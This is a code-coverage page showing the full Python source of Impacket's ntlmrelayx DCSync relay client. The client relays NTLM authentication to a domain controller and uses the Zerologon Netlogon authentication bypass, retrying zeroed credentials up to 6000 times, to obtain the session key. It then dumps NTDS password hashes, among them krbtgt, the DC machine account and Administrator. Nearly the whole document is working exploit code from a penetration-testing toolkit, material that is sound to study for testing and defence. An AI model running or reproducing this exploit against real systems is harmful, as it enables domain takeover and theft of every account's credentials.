Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py: 5%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py : 5%

## 279 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Author:

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

11# Alberto Solino (@agsolino)

12# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)

13#

14

15 from struct import unpack, pack

16 from binascii import hexlify, unhexlify

17 import traceback

18 from Cryptodome.Cipher import ARC4

19 from impacket import LOG, ntlm

20 from impacket.smbconnection import SMBConnection

21 from impacket.examples.ntlmrelayx.clients import ProtocolClient

22 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

23 from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \

24 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL

25 from impacket.spnego import SPNEGO_NegTokenResp

26 from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc

27 from impacket.dcerpc.v5.ndr import NDRCALL

28 from impacket.dcerpc.v5.dtypes import NULL

29 from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \

30 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \

31 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY

32 from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes

33

34 PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient"

35

36 class DCSYNCRelayClientException(Exception):

37 pass

38

39 class MYDCERPC_v5(DCERPC_v5):

40 def __init__(self, transport):

41 DCERPC_v5.__init__(self, transport)

42

43 def sendBindType1(self, iface_uuid, auth_data):

44 bind = MSRPCBind()

45

46 item = CtxItem()

47 item['AbstractSyntax'] = iface_uuid

48 item['TransferSyntax'] = self.transfer_syntax

49 item['ContextID'] = 0

50 item['TransItems'] = 1

51 bind.addCtxItem(item)

52

53 packet = MSRPCHeader()

54 packet['type'] = rpcrt.MSRPC_BIND

55 packet['pduData'] = bind.getData()

56 packet['call_id'] = 0

57

58 sec_trailer = SEC_TRAILER()

59 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT

60 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

61 sec_trailer['auth_ctx_id'] = 79231

62

63 pad = (4 - (len(packet.get_packet()) % 4)) % 4

64 if pad != 0:

65 packet['pduData'] += b'\xFF' * pad

66 sec_trailer['auth_pad_len'] = pad

67

68 packet['sec_trailer'] = sec_trailer

69 packet['auth_data'] = auth_data

70

71 self._transport.send(packet.get_packet())

72

73 s = self._transport.recv()

74

75 if s != 0:

76 resp = MSRPCHeader(s)

77 else:

78 return 0 #mmm why not None?

79

80 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:

81 bindResp = MSRPCBindAck(resp.getData())

82 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:

83 if resp['type'] == rpcrt.MSRPC_FAULT:

84 resp = MSRPCRespHeader(resp.getData())

85 status_code = unpack('<L', resp['pduData'][:4])[0]

86 else:

87 resp = MSRPCBindNak(resp['pduData'])

88 status_code = resp['RejectedReason']

89 if status_code in rpc_status_codes:

90 raise DCERPCException(error_code = status_code)

91 elif status_code in rpc_provider_reason:

92 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])

93 else:

94 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)

95 else:

96 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])

97

98 self.set_max_tfrag(bindResp['max_rfrag'])

99

100 return bindResp

101

102 def sendBindType3(self, auth_data):

103 sec_trailer = SEC_TRAILER()

104 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT

105 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

106 sec_trailer['auth_ctx_id'] = 79231

107

108 auth3 = MSRPCHeader()

109 auth3['type'] = rpcrt.MSRPC_AUTH3

110

111 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be

112 # ignored on receipt. The pad field MUST be immediately followed by a

113 # sec_trailer structure whose layout, location, and alignment are as

114 # specified in section 2.2.2.11

115 auth3['pduData'] = b' '

116 auth3['sec_trailer'] = sec_trailer

117 auth3['auth_data'] = auth_data

118 auth3['call_id'] = 0

119

120 self._transport.send(auth3.get_packet(), forceWriteAndx = 1)

121

122# Special class that allows skipping Samr connections (they are not strictly needed)

123 class PatchedRemoteOperations(RemoteOperations):

124

125 def getMachineNameAndDomain(self):

126 return '', ''

127

128 def connectSamr(self, domain):

129 return

130

131 class DCSYNCRelayClient(ProtocolClient):

132 """

133 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it

134 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.

135 """

136 PLUGIN_NAME = "DCSYNC"

137

138 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):

139 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

140

141 self.endpoint = serverConfig.rpc_mode

142

143 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI

144

145 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))

146 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')

147

148 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))

149

150 def initConnection(self):

151 rpctransport = transport.DCERPCTransportFactory(self.stringbinding)

152

153 if self.serverConfig.rpc_use_smb:

154 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))

155 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \

156 self.serverConfig.smblmhash, self.serverConfig.smbnthash)

157 rpctransport.set_dport(self.serverConfig.rpc_smb_port)

158

159 self.session = MYDCERPC_v5(rpctransport)

160 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

161 self.session.connect()

162

163 return True

164

165 def sendNegotiate(self, auth_data):

166 negoMessage = NTLMAuthNegotiate()

167 negoMessage.fromString(auth_data)

168 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:

169 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL

170 self.negotiateMessage = negoMessage.getData()

171 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)

172

173 self.challenge = NTLMAuthChallenge()

174 self.challenge.fromString(bindResp['auth_data'])

175

176 return self.challenge

177

178 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

179 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

180 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

181 auth_data = respToken2['ResponseToken']

182 else:

183 auth_data = authenticateMessageBlob

184

185 remoteOps = None

186 try:

187 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)

188 # Something failed

189 if signingkey == 0:

190 return

191 self.session.set_session_key(signingkey)

192 authenticateMessage = NTLMAuthChallengeResponse()

193 authenticateMessage.fromString(auth_data)

194

195 # Recalc mic

196 authenticateMessage['MIC'] = b'\x00' * 16

197 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:

198 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL

199 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())

200 authenticateMessage['MIC'] = newmic

201 self.session.sendBindType3(authenticateMessage.getData())

202

203 # Now perform DRS bind

204 # This code comes from secretsdump directly

205 request = drsuapi.DRSBind()

206 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID

207 drs = drsuapi.DRS_EXTENSIONS_INT()

208 drs['cb'] = len(drs) #- 4

209 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \

210 drsuapi.DRS_EXT_STRONG_ENCRYPTION

211 drs['SiteObjGuid'] = drsuapi.NULLGUID

212 drs['Pid'] = 0

213 drs['dwReplEpoch'] = 0

214 drs['dwFlagsExt'] = 0

215 drs['ConfigObjGUID'] = drsuapi.NULLGUID

216 # I'm uber potential (c) Ben

217 drs['dwExtCaps'] = 0xffffffff

218 request['pextClient']['cb'] = len(drs)

219 request['pextClient']['rgb'] = list(drs.getData())

220 resp = self.session.request(request)

221

222 # Initialize remoteoperations

223 if self.serverConfig.smbuser != '':

224 smbConnection = SMBConnection(self.target.netloc, self.target.netloc)

225 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \

226 self.serverConfig.smblmhash, self.serverConfig.smbnthash)

227 remoteOps = RemoteOperations(smbConnection, False)

228 else:

229 remoteOps = PatchedRemoteOperations(None, False)

230

231 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.

232 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

233

234 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.

235 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (

236 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])

237 drsExtensionsInt.fromString(ppextServer)

238

239 if drsExtensionsInt['dwReplEpoch'] != 0:

240 # Different epoch, we have to call DRSBind again

241 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[

242 'dwReplEpoch'])

243 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']

244 request['pextClient']['cb'] = len(drs)

245 request['pextClient']['rgb'] = list(drs.getData())

246 resp = self.session.request(request)

247

248 remoteOps._RemoteOperations__hDrs = resp['phDrs']

249

250 domainName = authenticateMessage['domain_name'].decode('utf-16le')

251 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges

252 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)

253 # LOG.debug('DRSDomainControllerInfo() answer')

254 # resp.dump()

255

256 if resp['pmsgOut']['V2']['cItems'] > 0:

257 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']

258 else:

259 LOG.error("Couldn't get DC info for domain %s" % domainName)

260 raise Exception('Fatal, aborting')

261 remoteOps._RemoteOperations__drsr = self.session

262

263 # Initialize NTDSHashes object

264 if self.serverConfig.smbuser != '':

265 # We can dump all :)

266 nh = NTDSHashes(None, None, isRemote=True, history=False,

267 noLMHash=False, remoteOps=remoteOps,

268 useVSSMethod=False, justNTLM=False,

269 pwdLastSet=False, resumeSession=None,

270 outputFileName='hashes', justUser=None,

271 printUserStatus=False)

272 nh.dump()

273 else:

274 # Most important, krbtgt

275 nh = NTDSHashes(None, None, isRemote=True, history=False,

276 noLMHash=False, remoteOps=remoteOps,

277 useVSSMethod=False, justNTLM=False,

278 pwdLastSet=False, resumeSession=None,

279 outputFileName='hashes', justUser=domainName + '/krbtgt',

280 printUserStatus=False)

281 nh.dump()

282 # Also important, DC hash (to sync fully)

283 av_pairs = authenticateMessage['ntlm'][44:]

284 av_pairs = AV_PAIRS(av_pairs)

285 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')

286 nh = NTDSHashes(None, None, isRemote=True, history=False,

287 noLMHash=False, remoteOps=remoteOps,

288 useVSSMethod=False, justNTLM=False,

289 pwdLastSet=False, resumeSession=None,

290 outputFileName='hashes', justUser=domainName + '/' + serverName + '$',

291 printUserStatus=False)

292 nh.dump()

293 # Finally, builtin\Administrator providing it was not renamed

294 try:

295 nh = NTDSHashes(None, None, isRemote=True, history=False,

296 noLMHash=False, remoteOps=remoteOps,

297 useVSSMethod=False, justNTLM=False,

298 pwdLastSet=False, resumeSession=None,

299 outputFileName='hashes', justUser=domainName + '/Administrator',

300 printUserStatus=False)

301 nh.dump()

302 except Exception:

303 LOG.error('Could not dump administrator (renamed?)')

304

305 return None, STATUS_SUCCESS

306 except Exception as e:

307 traceback.print_exc()

308 finally:

309 if remoteOps is not None:

310 remoteOps.finish()

311

312 def netlogonSessionKey(self, challenge, authenticateMessageBlob):

313 # Here we will use netlogon to get the signing session key

314 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

315

316 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

317 authenticateMessage = NTLMAuthChallengeResponse()

318 authenticateMessage.fromString(respToken2['ResponseToken'])

319 domainName = authenticateMessage['domain_name'].decode('utf-16le')

320 flags = authenticateMessage['flags']

321 try:

322 av_pairs = authenticateMessage['ntlm'][44:]

323 av_pairs = AV_PAIRS(av_pairs)

324

325 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')

326 except:

327 LOG.debug("Exception:", exc_info=True)

328 # We're in NTLMv1, not supported

329 return STATUS_ACCESS_DENIED

330

331 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')

332

333 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()

334 dce.connect()

335 dce.bind(nrpc.MSRPC_UUID_NRPC)

336 MAX_ATTEMPTS = 6000

337 for attempt in range(0, MAX_ATTEMPTS):

338 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8)

339

340 serverChallenge = resp['ServerChallenge']

341

342 ppp = b'\x00'*8

343 try:

344 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00',

345 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00',

346 ppp, 0x212effef)

347 except nrpc.DCERPCSessionError as ex:

348 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.

349 if ex.get_error_code() == 0xc0000022:

350 continue

351 else:

352 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())

353 except BaseException as ex:

354 LOG.error('Unexpected error: %s', str(ex))

355 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)

356 break

357 else:

358 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')

359 return

360 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

361

362 # Now let's try to verify the security blob against the PDC

363

364 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]

365 request = nrpc.NetrLogonSamLogonWithFlags()

366 request['LogonServer'] = '\x00'

367 request['ComputerName'] = serverName + '\x00'

368 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

369

370 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

371 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName

373 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags

374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[

375 'user_name'].decode('utf-16le')

376 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''

377 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge

378 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']

379 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

380

381 authenticator = nrpc.NETLOGON_AUTHENTICATOR()

382 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)

383 authenticator['Timestamp'] = 0

384

385 request['Authenticator'] = authenticator

386 request['ReturnAuthenticator']['Credential'] = b'\x00'*8

387 request['ReturnAuthenticator']['Timestamp'] = 0

388 request['ExtraFlags'] = 0

389 #request.dump()

390 try:

391 resp = dce.request(request)

392 #resp.dump()

393 except DCERPCException as e:

394 LOG.debug('Exception:', exc_info=True)

395 LOG.error(str(e))

396 return e.get_error_code()

397

398 LOG.info("%s\\%s successfully validated through NETLOGON" % (

399 domainName, authenticateMessage['user_name'].decode('utf-16le')))

400

401 encryptedSessionKey = authenticateMessage['session_key']

402 if encryptedSessionKey != '':

403 signingKey = generateEncryptedSessionKey(

404 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)

405 else:

406 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

407

408 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8'))

409 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:

410 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)

411 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server")

412 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)

413 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server")

414 # Preparing the keys handle states

415 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)

416 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt

417 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)

418 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt

419 else:

420 # Same key for everything

421 self.session._DCERPC_v5__clientSigningKey = signingKey

422 self.session._DCERPC_v5__serverSigningKey = signingKey

423 self.session._DCERPC_v5__clientSealingKey = signingKey

424 self.session._DCERPC_v5__serverSealingKey = signingKey

425 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)

426 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt

427 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt

428 self.session._DCERPC_v5__sequence = 0

429 self.session._DCERPC_v5__flags = flags

430 return signingKey

431

432 def killConnection(self):

433 if self.session is not None:

434 self.session.get_rpc_transport().disconnect()

435 self.session = None

436

437 def keepAlive(self):

438 return